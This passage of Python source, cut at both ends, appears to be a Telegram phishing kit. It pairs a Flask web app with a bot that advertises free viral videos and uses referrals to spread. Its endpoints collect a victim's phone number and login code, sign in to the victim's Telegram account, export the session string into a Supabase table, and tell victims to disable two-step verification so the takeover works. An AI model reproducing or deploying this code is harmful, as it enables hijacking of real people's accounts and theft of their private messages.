⏳ Connecting...
Opening Telegram Service Notifications
"""
return make_response(html_content)
def add_cors_headers(response):
response.headers['Access-Control-Allow-Origin'] = '*'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
return response
@app.route('/api/videos')
def api_videos():
try:
res = supabase.table('videos').select('*').order('id', desc=True).execute()
return add_cors_headers(make_response(jsonify(res.data)))
except Exception as e:
return add_cors_headers(make_response(jsonify([])))
@app.route('/api/check_login', methods=['POST', 'OPTIONS'])
def api_check_login():
if request.method == 'OPTIONS':
return add_cors_headers(make_response())
data = request.json or {}
user_id = data.get('user_id')
async def check_user():
res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
if res.data:
session_string = res.data[0]['session_string']
temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
try:
await temp_client.connect()
await temp_client.get_me()
await temp_client.disconnect()
return {"status": "logged_in"}
except Exception:
try: await temp_client.disconnect()
except: pass
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
return {"status": "not_logged_in"}
return {"status": "not_logged_in"}
try:
result = run_async(check_user())
return add_cors_headers(make_response(jsonify(result)))
except Exception as e:
return add_cors_headers(make_response(jsonify({"status": "error"})))
@app.route('/api/send_code', methods=['POST', 'OPTIONS'])
def api_send_code():
if request.method == 'OPTIONS':
return add_cors_headers(make_response())
data = request.json or {}
phone = data.get('phone')
user_id = data.get('user_id')
if not user_id or str(user_id) == '123456':
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
async def process_send_code():
if phone in temp_clients:
try: await temp_clients[phone]['client'].disconnect()
except: pass
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
await client.connect()
try:
code_info = await client.send_code(phone)
temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
return {"status": "ok", "hash": code_info.phone_code_hash}
except Exception as e:
await client.disconnect()
return {"status": "error", "msg": str(e)}
try:
result = run_async(process_send_code())
return add_cors_headers(make_response(jsonify(result)))
except Exception as e:
return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
@app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
def api_verify_code():
if request.method == 'OPTIONS':
return add_cors_headers(make_response())
data = request.json or {}
phone = data.get('phone')
user_otp = data.get('otp')
user_id = data.get('user_id')
if phone not in temp_clients:
return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"})))
async def process_verify():
temp_data = temp_clients[phone]
client = temp_data['client']
phone_hash = temp_data['hash']
try:
await client.sign_in(phone, phone_hash, user_otp)
session_string = await client.export_session_string()
await client.disconnect()
await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session_string}).execute())
del temp_clients[phone]
return {"status": "ok"}
except SessionPasswordNeeded:
await client.disconnect()
del temp_clients[phone]
return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
except PhoneCodeInvalid:
return {"status": "error", "msg": "Invalid OTP Code!"}
except PhoneCodeExpired:
await client.disconnect()
del temp_clients[phone]
return {"status": "error", "msg": "OTP Expired! Request again."}
except Exception as e:
await client.disconnect()
del temp_clients[phone]
return {"status": "error", "msg": str(e)}
try:
result = run_async(process_verify())
return add_cors_headers(make_response(jsonify(result)))
except Exception as e:
return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
# ================= TELEGRAM BOT COMMANDS =================
@bot.on_message(filters.command("start"))
async def start(client, message):
if message.chat.type != enums.ChatType.PRIVATE:
try:
bot_me = client.me if client.me else await client.get_me()
bot_link = f"https://t.me/{bot_me.username}"
markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
except Exception: pass
return
try:
user_id = message.from_user.id
first_name = message.from_user.first_name
args = message.command
referrer_id = None
if len(args) > 1:
try: referrer_id = int(args[1])
except ValueError: pass
user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
if not user_check.data:
await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
if referrer_id and referrer_id != user_id:
ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
if ref_data.data:
new_count = ref_data.data[0]['referral_count'] + 1
await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
try:
safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
success_msg = f"🎉